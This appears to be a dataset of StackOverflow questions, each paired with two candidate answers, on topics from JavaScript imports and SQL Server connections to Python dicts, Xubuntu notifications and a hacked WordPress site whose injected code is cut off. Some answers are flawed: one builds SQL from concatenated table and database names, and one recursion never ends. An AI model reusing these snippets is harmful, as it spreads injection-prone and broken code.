qid
int64 1
74.7M
| question
stringlengths 0
58.3k
| date
stringlengths 10
10
| metadata
sequence | response_j
stringlengths 2
48.3k
| response_k
stringlengths 2
40.5k
|
---|---|---|---|---|---|
33,524,696 | I was under the impression that this syntax:
```
import Router from 'react-router';
var {Link} = Router;
```
has the same final result as this:
```
import {Link} from 'react-router';
```
Can someone explain what the difference is?
(I originally thought it was a [React Router Bug](https://github.com/rackt/react-router/issues/2468).) | 2015/11/04 | [
"https://Stackoverflow.com/questions/33524696",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1463/"
] | To do this:
```
import {purple, grey} from 'themeColors';
```
*Without repeating `export const` for each symbol*, just do:
```
export const
purple = '#BADA55',
grey = '#l0l',
gray = grey,
default = 'this line actually causes an error';
``` | Except for different exports, it may also lead to
different bundled code by WebPack when using two variant ways to destruct ESM modules:
```js
// react-router
export function Link(str) { /* ... */ }
```
1. Destruct within the `import` statement:
```js
import {Link} from 'react-router';
Link('1');
Link('2');
```
```js
// WebPack output
var util_mobileValidator__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(1);
(0,util_mobileValidator__WEBPACK_IMPORTED_MODULE_3__.Link)('1');
(0,util_mobileValidator__WEBPACK_IMPORTED_MODULE_3__.Link)('2');
```
2. Use destructuring syntax:
```js
import * as Router from 'react-router';
const {Link} = Router;
Link('1');
Link('2');
```
```js
// WebPack output:
var util_mobileValidator__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(1);
const {Link} = util_mobileValidator__WEBPACK_IMPORTED_MODULE_3__;
Link(1);
Link(2);
```
As you can see in the output example above where there is redundant code, which is not good for optimization when trying to uglify via `UglifyJS`, or `Terser`. |
17,446,188 | **Problem resolvedby me**
resolve way :i user ko.js for check bining data in java to resolve my problem! thanks to all
I have this code to show my online users in my chat script (x7chat 3, you can [download it free](http://x7chat.com))
This code is in this file in the script:
x7chatDIR\templates\default\pages\chat.php
```
<div id="onlinelist" data-bind="foreach: active_room().users()">
<div class="onlineuser" data-bind="click: $root.show_user_profile"><a href='#' data-bind="text: user_name"></a><br></div>
</div>
```
I want to check a var if that var was 'admin' show this div :
```
<div class="onlineuser" data-bind="click: $root.show_user_profile"><a href='#' data-bind="text: user_name"></a><br></div>
```
and else show this:
```
<div class="onlineuser2" data-bind="click: $root.show_user_profile"><a href='#' data-bind="text: user_name"></a><br></div>
```
In really I want show admin in div that it's class is "onlineuser2" I want show admin id in another color from users!
sorry for my english.... eng is not my native language! | 2013/07/03 | [
"https://Stackoverflow.com/questions/17446188",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2178812/"
] | try like this,in button action action method put this code
```
for(UIView *view in self.view.subviews){
if([view isKindOfClass:[UIProgressView class]]))
[view removeFromSuperView];
}
``` | Remove all progress bars from a given view:
```
- (void) removeAllProgressBars:(UIView *)view {
if([view isKindOfClass:[UIProgressView class]]))
[view removeFromSuperView];
else
for (UIView *subView in view.subviews)
[self removeAllProgressBars:view];
}
```
In some other method call:
```
[self removeAllProgressBars:self.view];
```
Although I consider it bad coding style not to use curly breackets on 1-statement-bodies of for and if and else etc. |
53,685,534 | I have my SQL Server connection string set up like this:
```
String strConnection = @"Data Source=servername;Initial Catalog=dbname; User ID =user; Password =pass;";
```
Then I have a combobox which shows all tables in that database. Connection string works fine with one database (initial catalog). But what if I want to pull tables from 2 databases on the same server. User in SQL Server has access to both databases. What connection string do I use then?
The easy way would be `Initial Catalog=dbname,db2name`. But that does not work of course. | 2018/12/08 | [
"https://Stackoverflow.com/questions/53685534",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2980341/"
] | If that user does have in fact permissions to access the other database - you could just simply use the `ChangeDatabase` method on your `SqlConnection` - like this:
```
string strConnection = @"Data Source=servername;Initial Catalog=dbname; User ID =user; Password =pass;";
using (SqlConnection conn = new SqlConnection(strConnection))
{
// do what you want to do with "dbname"
......
// switch to "db2name" - on the same server, with the same credentials
conn.ChangeDatabase("db2name");
// do what you want to do with "db2name"
......
}
``` | Edit Start
1) If you want to show all the tables in all the data bases please populate the combo box the same.
refer: [How do I list all tables in all databases in SQL Server in a single result set?](https://stackoverflow.com/questions/2875768/how-do-i-list-all-tables-in-all-databases-in-sql-server-in-a-single-result-set)
2) Or you can provide another combo box to display list of data bases, prior to tables combo box, once user chooses a DB name, pass it to the query. This is useful choice, as there is a possibility of having a table with same name in two data bases. (Eg: t\_users in db\_1 and db\_2)
3) If you have confined to two data bases, use where clause in the above said (1)
Edit end
If you want to access multiple data bases of one server and one instance, It is enough to have one connection to one database in that server and instance, provided user has access to those DBs. You can query any data base if all DB are in same server and instance, see example below.
```
SELECT a.ID, b.ID
FROM Database1.dbo.table1 a
INNER JOIN Database2.dbo.table2 b on a.ID = b.ID
```
In your case, you can have your query of stored procedure similar to below queries.
```
select *
from sys.tables --to fetch list of tables from the DB which you app connected to
select *
from IAMS_Discr_Complaints.sys.tables --to fetch tables from another DB on the same server
``` |
53,685,534 | I have my SQL Server connection string set up like this:
```
String strConnection = @"Data Source=servername;Initial Catalog=dbname; User ID =user; Password =pass;";
```
Then I have a combobox which shows all tables in that database. Connection string works fine with one database (initial catalog). But what if I want to pull tables from 2 databases on the same server. User in SQL Server has access to both databases. What connection string do I use then?
The easy way would be `Initial Catalog=dbname,db2name`. But that does not work of course. | 2018/12/08 | [
"https://Stackoverflow.com/questions/53685534",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2980341/"
] | I ended up using two comboboxes on my form. One for databases and one for tables. When i choose a database in first combobox, the second one automaticly shows tabels in that database. It is much easier for me to work wit two comboboxes using different connections.
Here is some part of my code with solution:
```
public partial class Form1 : Form
{
SqlDataAdapter sda;
SqlCommandBuilder scb;
DataTable dt;
SqlDataAdapter sda2;
SqlCommandBuilder scb2;
DataTable dt2;
public Form1()
{
InitializeComponent();
}
//ON FORM LOAD
private void Form1_Load(object sender, EventArgs e)
{
String stringConnection = @"Data Source=SERVER_NAME; Initial Catalog =DB_NAME; User ID =USER; Password =PASS;";
SqlConnection con2 = new SqlConnection(stringConnection);
try
{
con2.Open();
SqlCommand sqlCmd2 = new SqlCommand();
sqlCmd2.Connection = con2;
sqlCmd2.CommandType = CommandType.Text;
sqlCmd2.CommandText = "SELECT name FROM sys.databases EXCEPT SELECT name FROM sys.databases WHERE name='master' OR name='model' OR name='msdb' OR name='tempdb'";
SqlDataAdapter sqlDataAdap2 = new SqlDataAdapter(sqlCmd2);
DataTable dtRecord2 = new DataTable();
sqlDataAdap2.Fill(dtRecord2);
dtRecord2.DefaultView.Sort = "name ASC";
comboBox2.DataSource = dtRecord2;
comboBox2.DisplayMember = "NAME";
comboBox2.DisplayMember = "NAME";
con2.Close();
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
//BUTTON FOR SHOWING TABELS IN DATAGRIDVIEW
private void ShowTbl_Click(object sender, EventArgs e)
{
string selected = this.ComboBox1.GetItemText(this.ComboBox1.SelectedItem);
string DBselected = this.comboBox2.GetItemText(this.comboBox2.SelectedItem);
SqlConnection con = new SqlConnection(@"Data Source=SERVER_NAME;Initial Catalog =" + DBselected + "; User ID=USER;Password=PASS;");
sda = new SqlDataAdapter(@"SELECT * FROM dbo.[" + selected + "]", con);
dt = new DataTable();
sda.Fill(dt);
dataGridView1.DataSource = dt;
string ComboBoxSelected = ComboBox1.GetItemText(ComboBox1.SelectedItem);
con.Close();
}
//WHEN I SELECT DATABASE IN COMBOBOX2, COMBOBOX1 DISPLAYS TABLES IN THAT DATABASE
private void comboBox2_SelectedIndexChanged(object sender, EventArgs e)
{
string selectedbase = this.comboBox2.GetItemText(this.comboBox2.SelectedItem);
string aa = comboBox2.SelectedText;
String strConnection = @"Data Source=SERVER_NAME;Initial Catalog =" + selectedbase+ "; User ID =USER; Password =PASS;";
SqlConnection con = new SqlConnection(strConnection);
try
{
con.Open();
SqlCommand sqlCmd = new SqlCommand();
sqlCmd.Connection = con;
sqlCmd.CommandType = CommandType.Text;
sqlCmd.CommandText = "Select table_name from information_schema.tables";
SqlDataAdapter sqlDataAdap = new SqlDataAdapter(sqlCmd);
DataTable dtRecord = new DataTable();
sqlDataAdap.Fill(dtRecord);
dtRecord.DefaultView.Sort = "table_name ASC";
ComboBox1.DataSource = dtRecord;
ComboBox1.DisplayMember = "TABLE_NAME";
ComboBox1.DisplayMember = "TABLE_NAME";
con.Close();
}
catch (Exception ex)
{
MessageBox.Show(ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
}
``` | Edit Start
1) If you want to show all the tables in all the data bases please populate the combo box the same.
refer: [How do I list all tables in all databases in SQL Server in a single result set?](https://stackoverflow.com/questions/2875768/how-do-i-list-all-tables-in-all-databases-in-sql-server-in-a-single-result-set)
2) Or you can provide another combo box to display list of data bases, prior to tables combo box, once user chooses a DB name, pass it to the query. This is useful choice, as there is a possibility of having a table with same name in two data bases. (Eg: t\_users in db\_1 and db\_2)
3) If you have confined to two data bases, use where clause in the above said (1)
Edit end
If you want to access multiple data bases of one server and one instance, It is enough to have one connection to one database in that server and instance, provided user has access to those DBs. You can query any data base if all DB are in same server and instance, see example below.
```
SELECT a.ID, b.ID
FROM Database1.dbo.table1 a
INNER JOIN Database2.dbo.table2 b on a.ID = b.ID
```
In your case, you can have your query of stored procedure similar to below queries.
```
select *
from sys.tables --to fetch list of tables from the DB which you app connected to
select *
from IAMS_Discr_Complaints.sys.tables --to fetch tables from another DB on the same server
``` |
53,685,534 | I have my SQL Server connection string set up like this:
```
String strConnection = @"Data Source=servername;Initial Catalog=dbname; User ID =user; Password =pass;";
```
Then I have a combobox which shows all tables in that database. Connection string works fine with one database (initial catalog). But what if I want to pull tables from 2 databases on the same server. User in SQL Server has access to both databases. What connection string do I use then?
The easy way would be `Initial Catalog=dbname,db2name`. But that does not work of course. | 2018/12/08 | [
"https://Stackoverflow.com/questions/53685534",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2980341/"
] | If that user does have in fact permissions to access the other database - you could just simply use the `ChangeDatabase` method on your `SqlConnection` - like this:
```
string strConnection = @"Data Source=servername;Initial Catalog=dbname; User ID =user; Password =pass;";
using (SqlConnection conn = new SqlConnection(strConnection))
{
// do what you want to do with "dbname"
......
// switch to "db2name" - on the same server, with the same credentials
conn.ChangeDatabase("db2name");
// do what you want to do with "db2name"
......
}
``` | I ended up using two comboboxes on my form. One for databases and one for tables. When i choose a database in first combobox, the second one automaticly shows tabels in that database. It is much easier for me to work wit two comboboxes using different connections.
Here is some part of my code with solution:
```
public partial class Form1 : Form
{
SqlDataAdapter sda;
SqlCommandBuilder scb;
DataTable dt;
SqlDataAdapter sda2;
SqlCommandBuilder scb2;
DataTable dt2;
public Form1()
{
InitializeComponent();
}
//ON FORM LOAD
private void Form1_Load(object sender, EventArgs e)
{
String stringConnection = @"Data Source=SERVER_NAME; Initial Catalog =DB_NAME; User ID =USER; Password =PASS;";
SqlConnection con2 = new SqlConnection(stringConnection);
try
{
con2.Open();
SqlCommand sqlCmd2 = new SqlCommand();
sqlCmd2.Connection = con2;
sqlCmd2.CommandType = CommandType.Text;
sqlCmd2.CommandText = "SELECT name FROM sys.databases EXCEPT SELECT name FROM sys.databases WHERE name='master' OR name='model' OR name='msdb' OR name='tempdb'";
SqlDataAdapter sqlDataAdap2 = new SqlDataAdapter(sqlCmd2);
DataTable dtRecord2 = new DataTable();
sqlDataAdap2.Fill(dtRecord2);
dtRecord2.DefaultView.Sort = "name ASC";
comboBox2.DataSource = dtRecord2;
comboBox2.DisplayMember = "NAME";
comboBox2.DisplayMember = "NAME";
con2.Close();
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
//BUTTON FOR SHOWING TABELS IN DATAGRIDVIEW
private void ShowTbl_Click(object sender, EventArgs e)
{
string selected = this.ComboBox1.GetItemText(this.ComboBox1.SelectedItem);
string DBselected = this.comboBox2.GetItemText(this.comboBox2.SelectedItem);
SqlConnection con = new SqlConnection(@"Data Source=SERVER_NAME;Initial Catalog =" + DBselected + "; User ID=USER;Password=PASS;");
sda = new SqlDataAdapter(@"SELECT * FROM dbo.[" + selected + "]", con);
dt = new DataTable();
sda.Fill(dt);
dataGridView1.DataSource = dt;
string ComboBoxSelected = ComboBox1.GetItemText(ComboBox1.SelectedItem);
con.Close();
}
//WHEN I SELECT DATABASE IN COMBOBOX2, COMBOBOX1 DISPLAYS TABLES IN THAT DATABASE
private void comboBox2_SelectedIndexChanged(object sender, EventArgs e)
{
string selectedbase = this.comboBox2.GetItemText(this.comboBox2.SelectedItem);
string aa = comboBox2.SelectedText;
String strConnection = @"Data Source=SERVER_NAME;Initial Catalog =" + selectedbase+ "; User ID =USER; Password =PASS;";
SqlConnection con = new SqlConnection(strConnection);
try
{
con.Open();
SqlCommand sqlCmd = new SqlCommand();
sqlCmd.Connection = con;
sqlCmd.CommandType = CommandType.Text;
sqlCmd.CommandText = "Select table_name from information_schema.tables";
SqlDataAdapter sqlDataAdap = new SqlDataAdapter(sqlCmd);
DataTable dtRecord = new DataTable();
sqlDataAdap.Fill(dtRecord);
dtRecord.DefaultView.Sort = "table_name ASC";
ComboBox1.DataSource = dtRecord;
ComboBox1.DisplayMember = "TABLE_NAME";
ComboBox1.DisplayMember = "TABLE_NAME";
con.Close();
}
catch (Exception ex)
{
MessageBox.Show(ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
}
``` |
16,305,161 | I have two dictionaries,i want to combine these two int a list in the format keys-->values,keys-->values... remove any None or ['']
currently I have the below where I can combine the dicts but not create a combined lists...i have the expecte output..
any inputs appreeciated
```
dict1={'313115': ['313113'], '311957': None}
dict2={'253036': [''], '305403': [], '12345': ['']}
dict = dict(dict1.items() + dict2.items())
print dict
{'313115': ['313113'], '311957': None, '253036': [''], '12345': [''], '305403': []}
EXPECTED OUTPUT:
['313115','313113','311957','253036','305403','12345']
``` | 2013/04/30 | [
"https://Stackoverflow.com/questions/16305161",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2125827/"
] | This should do it:
```
[i for k, v in (dict1.items() + dict2.items()) for i in [k] + (v or []) if i]
```
walk the combined items of the two dicts, then walk the key plus the list of values, returning each item from the second walk that exists.
Returns `['313115', '313113', '311957', '253036', '12345', '305403']` on your example dicts -- the order is different because python's dict iteration is unordered.
EDIT:
`dict.items()` can be expensive on large dicts -- it takes O(n) size, rather than iterating. If you use itertools, this is more efficient (and keeps the dicts you're working with in one place):
```
import itertools
[i
for k, v in itertools.chain.from_iterable(d.iteritems() for d in (dict1, dict2))
for i in [k] + (v or [])
if i]
```
Thanks to Martijn Pieters for the from\_iterable tip. | The following line gives you what you want in as efficient a manner as possible, albeit a little verbose:
```
from itertools import chain, ifilter
list(ifilter(None, dict1.viewkeys() | dict2.viewkeys() | set(chain(chain.from_iterable(ifilter(None, dict1.itervalues())), chain.from_iterable(ifilter(None, dict2.itervalues()))))))
```
You could break it down to:
```
values1 = chain.from_iterable(ifilter(None, dict1.itervalues()))
values2 = chain.from_iterable(ifilter(None, dict2.itervalues()))
output = list(ifilter(None, dict1.viewkeys() | dict2.viewkeys() | set(chain(values1, values2))))
```
`ifilter` with a `None` filter removes false-y values such as `None` and `''` from the iterable. the outer filter is not needed for your specific input but would remove `''` and `None` if used as keys as well. Duplicate values are removed.
Ordering in Python dictionaries is arbitrary so ordering doesn't match your sample but all expected values are there.
Demo:
```
>>> list(ifilter(None, dict1.viewkeys() | dict2.viewkeys() | set(chain(chain.from_iterable(ifilter(None, dict1.itervalues())), chain.from_iterable(ifilter(None, dict2.itervalues()))))))
['313115', '305403', '313113', '311957', '253036', '12345']
``` |
16,305,161 | I have two dictionaries,i want to combine these two int a list in the format keys-->values,keys-->values... remove any None or ['']
currently I have the below where I can combine the dicts but not create a combined lists...i have the expecte output..
any inputs appreeciated
```
dict1={'313115': ['313113'], '311957': None}
dict2={'253036': [''], '305403': [], '12345': ['']}
dict = dict(dict1.items() + dict2.items())
print dict
{'313115': ['313113'], '311957': None, '253036': [''], '12345': [''], '305403': []}
EXPECTED OUTPUT:
['313115','313113','311957','253036','305403','12345']
``` | 2013/04/30 | [
"https://Stackoverflow.com/questions/16305161",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2125827/"
] | The following line gives you what you want in as efficient a manner as possible, albeit a little verbose:
```
from itertools import chain, ifilter
list(ifilter(None, dict1.viewkeys() | dict2.viewkeys() | set(chain(chain.from_iterable(ifilter(None, dict1.itervalues())), chain.from_iterable(ifilter(None, dict2.itervalues()))))))
```
You could break it down to:
```
values1 = chain.from_iterable(ifilter(None, dict1.itervalues()))
values2 = chain.from_iterable(ifilter(None, dict2.itervalues()))
output = list(ifilter(None, dict1.viewkeys() | dict2.viewkeys() | set(chain(values1, values2))))
```
`ifilter` with a `None` filter removes false-y values such as `None` and `''` from the iterable. the outer filter is not needed for your specific input but would remove `''` and `None` if used as keys as well. Duplicate values are removed.
Ordering in Python dictionaries is arbitrary so ordering doesn't match your sample but all expected values are there.
Demo:
```
>>> list(ifilter(None, dict1.viewkeys() | dict2.viewkeys() | set(chain(chain.from_iterable(ifilter(None, dict1.itervalues())), chain.from_iterable(ifilter(None, dict2.itervalues()))))))
['313115', '305403', '313113', '311957', '253036', '12345']
``` | ```
[each
if isinstance(each, str) else each[0]
for pair in dict(dict1, **dict2).iteritems()
for each in pair
if each not in [[''], None, []]]
``` |
16,305,161 | I have two dictionaries,i want to combine these two int a list in the format keys-->values,keys-->values... remove any None or ['']
currently I have the below where I can combine the dicts but not create a combined lists...i have the expecte output..
any inputs appreeciated
```
dict1={'313115': ['313113'], '311957': None}
dict2={'253036': [''], '305403': [], '12345': ['']}
dict = dict(dict1.items() + dict2.items())
print dict
{'313115': ['313113'], '311957': None, '253036': [''], '12345': [''], '305403': []}
EXPECTED OUTPUT:
['313115','313113','311957','253036','305403','12345']
``` | 2013/04/30 | [
"https://Stackoverflow.com/questions/16305161",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2125827/"
] | This should do it:
```
[i for k, v in (dict1.items() + dict2.items()) for i in [k] + (v or []) if i]
```
walk the combined items of the two dicts, then walk the key plus the list of values, returning each item from the second walk that exists.
Returns `['313115', '313113', '311957', '253036', '12345', '305403']` on your example dicts -- the order is different because python's dict iteration is unordered.
EDIT:
`dict.items()` can be expensive on large dicts -- it takes O(n) size, rather than iterating. If you use itertools, this is more efficient (and keeps the dicts you're working with in one place):
```
import itertools
[i
for k, v in itertools.chain.from_iterable(d.iteritems() for d in (dict1, dict2))
for i in [k] + (v or [])
if i]
```
Thanks to Martijn Pieters for the from\_iterable tip. | ```
[each
if isinstance(each, str) else each[0]
for pair in dict(dict1, **dict2).iteritems()
for each in pair
if each not in [[''], None, []]]
``` |
8,309,498 | A bit confused trying to do a string match that accepts this:
Lets say a string S = "Download" Here, S can be "Download" or "DOWNLOAD" or "DoWNload". Thus, any character in the string can be an uppercase or a lowercase. Its rather easy to write a regex match for all upper case or all lower case letters or even a mix of letters, but I found it difficult to write a regex match that follows a particular order, which here is "Download".
I hope I was lucid here. | 2011/11/29 | [
"https://Stackoverflow.com/questions/8309498",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/105167/"
] | To check if `"download"` appears in a string regardless of case, you don't even need a regular expression.
```
"download" in s.lower()
```
will also work fine. | What's wrong with: `S == "Download"` ?
Your question isn't clear about whether you want to ignore case or not.
`"I found it difficult to write a regex match that follows a particular order"`
A particular order of capitalisation or just a particular order of letters?
If you want to ignore case, just convert to lower-case before comparing:
```
S.lower() == "download"
``` |
8,309,498 | A bit confused trying to do a string match that accepts this:
Lets say a string S = "Download" Here, S can be "Download" or "DOWNLOAD" or "DoWNload". Thus, any character in the string can be an uppercase or a lowercase. Its rather easy to write a regex match for all upper case or all lower case letters or even a mix of letters, but I found it difficult to write a regex match that follows a particular order, which here is "Download".
I hope I was lucid here. | 2011/11/29 | [
"https://Stackoverflow.com/questions/8309498",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/105167/"
] | First, you can covert the string before the match
```
re.search(expr, s.lower())
```
If you want to ingore the case, you can use flag `re.IGNORECASE`
```
re.search(expr, s, re.IGNORECASE)
```
See other available flags here: <http://docs.python.org/library/re.html#module-contents> | What's wrong with: `S == "Download"` ?
Your question isn't clear about whether you want to ignore case or not.
`"I found it difficult to write a regex match that follows a particular order"`
A particular order of capitalisation or just a particular order of letters?
If you want to ignore case, just convert to lower-case before comparing:
```
S.lower() == "download"
``` |
8,309,498 | A bit confused trying to do a string match that accepts this:
Lets say a string S = "Download" Here, S can be "Download" or "DOWNLOAD" or "DoWNload". Thus, any character in the string can be an uppercase or a lowercase. Its rather easy to write a regex match for all upper case or all lower case letters or even a mix of letters, but I found it difficult to write a regex match that follows a particular order, which here is "Download".
I hope I was lucid here. | 2011/11/29 | [
"https://Stackoverflow.com/questions/8309498",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/105167/"
] | To check if `"download"` appears in a string regardless of case, you don't even need a regular expression.
```
"download" in s.lower()
```
will also work fine. | ```
s="Download"
re.findall("^[A-Z][a-z]*$",s)
['Download']
s="DownloaD"
re.findall("^[A-Z][a-z]*$",s)
[]
s="download"
re.findall("^[A-Z][a-z]*$",s)
[]
```
If I understand your question correctly, you want to match a string with the First Cap followed by small case. In such a scenario, the above should work. |
8,309,498 | A bit confused trying to do a string match that accepts this:
Lets say a string S = "Download" Here, S can be "Download" or "DOWNLOAD" or "DoWNload". Thus, any character in the string can be an uppercase or a lowercase. Its rather easy to write a regex match for all upper case or all lower case letters or even a mix of letters, but I found it difficult to write a regex match that follows a particular order, which here is "Download".
I hope I was lucid here. | 2011/11/29 | [
"https://Stackoverflow.com/questions/8309498",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/105167/"
] | First, you can covert the string before the match
```
re.search(expr, s.lower())
```
If you want to ingore the case, you can use flag `re.IGNORECASE`
```
re.search(expr, s, re.IGNORECASE)
```
See other available flags here: <http://docs.python.org/library/re.html#module-contents> | ```
s="Download"
re.findall("^[A-Z][a-z]*$",s)
['Download']
s="DownloaD"
re.findall("^[A-Z][a-z]*$",s)
[]
s="download"
re.findall("^[A-Z][a-z]*$",s)
[]
```
If I understand your question correctly, you want to match a string with the First Cap followed by small case. In such a scenario, the above should work. |
23,545,471 | I'm having a PhoneGap application that downloads a file from my server. The problem is that if I point phonegap FileTransfer.download uri directly to the file, the file can be downloaded. But, if I point the URI of FileTransfer.download to a download.php file that has the following:
```
header ("Content-type: octet/stream");
header ("Content-disposition: attachment; filename=".$file);
header("Content-Length: ".filesize($file));
readfile($file);
exit;
```
My phonegap application downloads the file. But it only has 1 byte of data and cannot download the content of my file ( It's a MP3 file ).
Can someone let me know why this happens? I need to use the download.php file because I'm sending a hash to verify the user credentials before allowing the file to be downloaded.
I've been working around a few hours on this and couldn't find a solution. Is there a proble m with the fileTransfer.download? Should I make additional settings to it? | 2014/05/08 | [
"https://Stackoverflow.com/questions/23545471",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/786466/"
] | I did not know that i understood you correctly or not. However, you can easily use insert function in vectors Here is simply example:
```
std::vector<int> X;
std::vector<int> Y;
std::vector<int> XandY; // result vector.
XandY.reserve( X.size() + Y.size() ); // allocate memory for result vector
XandY.insert( XandY.end(), X.begin(), X.end() ); // make your insert operation..
XandY.insert( XandY.end(), Y.begin(), Y.end() );
``` | I think I understand what you are getting at - you want something like this:
```
vector<vector<char>> tmp_fof;
vector<char> first_of_first;
first_of_first.insert(first_of_first.end(), tmp_fof.at(1).begin(), tmp_fof.at(1).end())
first_of_first.insert(first_of_first.end(), tmp_fof.at(1).begin(), tmp_fof.at(1).end())
``` |
23,545,471 | I'm having a PhoneGap application that downloads a file from my server. The problem is that if I point phonegap FileTransfer.download uri directly to the file, the file can be downloaded. But, if I point the URI of FileTransfer.download to a download.php file that has the following:
```
header ("Content-type: octet/stream");
header ("Content-disposition: attachment; filename=".$file);
header("Content-Length: ".filesize($file));
readfile($file);
exit;
```
My phonegap application downloads the file. But it only has 1 byte of data and cannot download the content of my file ( It's a MP3 file ).
Can someone let me know why this happens? I need to use the download.php file because I'm sending a hash to verify the user credentials before allowing the file to be downloaded.
I've been working around a few hours on this and couldn't find a solution. Is there a proble m with the fileTransfer.download? Should I make additional settings to it? | 2014/05/08 | [
"https://Stackoverflow.com/questions/23545471",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/786466/"
] | I don't understand why you need those intermediate vectors. As far as I can understand you have three vectors and you want to copy the content of the first two to the last one. This can be simply achieve with `std::copy`.
```
vector<vector<char>> v1 = {{'a', 'b', 'c'}, {'d', 'e'}};
vector<vector<char>> v2 = {{'e', 'f', 'g'}};
vector<vector<char>> v3 = {{'h', 'i'}};
std::copy(std::begin(v2), std::end(v2), std::back_inserter(v1));
std::copy(std::begin(v3), std::end(v3), std::back_inserter(v1));
``` | I think I understand what you are getting at - you want something like this:
```
vector<vector<char>> tmp_fof;
vector<char> first_of_first;
first_of_first.insert(first_of_first.end(), tmp_fof.at(1).begin(), tmp_fof.at(1).end())
first_of_first.insert(first_of_first.end(), tmp_fof.at(1).begin(), tmp_fof.at(1).end())
``` |
104,273 | How can i disable ALL pop-up notification on Xubuntu 11.10
I have tried: `sudo apt-get remove notify-osd`
Which resulted in
```
Reading package lists... Done
Building dependency tree
Reading state information... Done
Package notify-osd is not installed, so not removed
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
``` | 2012/02/14 | [
"https://askubuntu.com/questions/104273",
"https://askubuntu.com",
"https://askubuntu.com/users/46448/"
] | Obviously removing `notify-osd` won't work because Xubuntu doesn't use it, it uses `xfce4-notifyd`.
So if you want to *remove* them, remove that package.
```
sudo apt-get remove xfce4-notifyd
```
If you only want to disable them use this:
```
sudo mv /usr/share/dbus-1/services/org.xfce.xfce4-notifyd.Notifications.service /usr/share/dbus-1/services/org.xfce.xfce4-notifyd.Notifications.service.disabled
```
To reverse that:
```
sudo mv /usr/share/dbus-1/services/org.xfce.xfce4-notifyd.Notifications.service.disabled /usr/share/dbus-1/services/org.xfce.xfce4-notifyd.Notifications.service
```
[Source.](http://bitonic.org/blog/?p=24) | Try this:
```
sudo mv /usr/share/dbus-1/services/org.xfce.xfce4-notifyd.Notifications.service /usr/share/dbus-1/services/org.xfce.xfce4-notifyd.Notifications.service.disabled
``` |
104,273 | How can i disable ALL pop-up notification on Xubuntu 11.10
I have tried: `sudo apt-get remove notify-osd`
Which resulted in
```
Reading package lists... Done
Building dependency tree
Reading state information... Done
Package notify-osd is not installed, so not removed
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
``` | 2012/02/14 | [
"https://askubuntu.com/questions/104273",
"https://askubuntu.com",
"https://askubuntu.com/users/46448/"
] | Obviously removing `notify-osd` won't work because Xubuntu doesn't use it, it uses `xfce4-notifyd`.
So if you want to *remove* them, remove that package.
```
sudo apt-get remove xfce4-notifyd
```
If you only want to disable them use this:
```
sudo mv /usr/share/dbus-1/services/org.xfce.xfce4-notifyd.Notifications.service /usr/share/dbus-1/services/org.xfce.xfce4-notifyd.Notifications.service.disabled
```
To reverse that:
```
sudo mv /usr/share/dbus-1/services/org.xfce.xfce4-notifyd.Notifications.service.disabled /usr/share/dbus-1/services/org.xfce.xfce4-notifyd.Notifications.service
```
[Source.](http://bitonic.org/blog/?p=24) | you can also run this command and will be able to edit what you want to be shown or blocked in notifications. I had to do this for SMB4K for drive mounts as it was driving me nuts lol.
xfce4-notifyd-config |
104,273 | How can i disable ALL pop-up notification on Xubuntu 11.10
I have tried: `sudo apt-get remove notify-osd`
Which resulted in
```
Reading package lists... Done
Building dependency tree
Reading state information... Done
Package notify-osd is not installed, so not removed
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
``` | 2012/02/14 | [
"https://askubuntu.com/questions/104273",
"https://askubuntu.com",
"https://askubuntu.com/users/46448/"
] | you can also run this command and will be able to edit what you want to be shown or blocked in notifications. I had to do this for SMB4K for drive mounts as it was driving me nuts lol.
xfce4-notifyd-config | Try this:
```
sudo mv /usr/share/dbus-1/services/org.xfce.xfce4-notifyd.Notifications.service /usr/share/dbus-1/services/org.xfce.xfce4-notifyd.Notifications.service.disabled
``` |
16,184,782 | Currently I am facing a hell like situation, four of my client websites were hacked before 10 days. I messed up a lot with them and three of them are working fine(running magento) after my long mess up with them, but one of them(running word press) is still facing the same situation and I could not figure out what was going on, after a particular timing the js files and some php files too are auto injecting with this kind of code :
```
<?
#ded509#
